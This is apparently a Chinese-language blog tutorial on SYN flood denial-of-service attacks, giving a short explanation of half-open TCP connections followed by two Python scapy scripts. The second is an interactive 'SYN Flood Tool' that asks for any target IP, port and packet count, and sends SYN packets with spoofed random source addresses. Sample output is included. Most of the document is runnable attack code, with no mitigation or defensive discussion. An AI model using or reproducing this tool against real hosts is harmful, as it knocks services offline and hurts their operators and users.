使用Python实现SYN 泛洪攻击(SYN Flood)

SYN泛洪攻击(SYN Flood)是一种比较常用的DoS方式之一。通过发送大量伪造的Tcp连接请求,使被攻击主机资源耗尽(通常是CPU满负荷或者内存不足) 的攻击方式。

SYN攻击是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

scapy是一个功能强大网络数据包处理程序,包括对数据包的嗅探、解析和构造。本文即使用其数据包构造功能,实现syn flooding攻击。

Python代码如下所示:

from scapy.all import *
import random

def synFlood():
    for i in range(10000):
        #构造随机的源IP
        src='%i.%i.%i.%i'%(
            random.randint(1,255),
            random.randint(1, 255),
            random.randint(1, 255),
            random.randint(1, 255)
            )
        #构造随机的端口
        sport=random.randint(1024,65535)
        IPlayer=IP(src=src,dst='192.168.37.130')
        TCPlayer=TCP(sport=sport,dport=80,flags="S")
        packet=IPlayer/TCPlayer
        send(packet)

if __name__ == '__main__':
    synFlood()

结果如下:

完善的Python代码如下:

from scapy.all import *
import random

#生成随机的IP
def randomIP():
    ip=".".join(map(str,(random.randint(0,255) for i in range(4))))
    return ip

#生成随机端口
def randomPort():
    port=random.randint(1000,10000)
    return port

#syn-flood
def synFlood(count,dstIP,dstPort):
    total=0
    print("Packets are sending ...")
    for i in range(count):
        #IPlayer
        srcIP=randomIP()
        dstIP=dstIP
        IPlayer = IP(src=srcIP,dst=dstIP)
        #TCPlayer
        srcPort=randomPort()
        TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
        #发送包
        packet = IPlayer / TCPlayer
        send(packet)
        total+=1
    print("Total packets sent: %i" % total)

#显示的信息
def info():
    print("#"*30)
    print("# Welcome to SYN Flood Tool  #")
    print("#"*30)
    #输入目标IP和端口
    dstIP = input("Target IP : ")
    dstPort = int(input("Target Port : "))
    return dstIP, dstPort

if __name__ == '__main__':
    dstIP, dstPort=info()
    count=int(input("Please input the number of packets:"))
    synFlood(count,dstIP,dstPort)

结果如下:

##############################
# Welcome to SYN Flood Tool  #
##############################
Target IP : 192.168.37.2
Target Port : 80
Please input the number of packets:8
Packets are sending ...
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
Total packets sent: 8

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章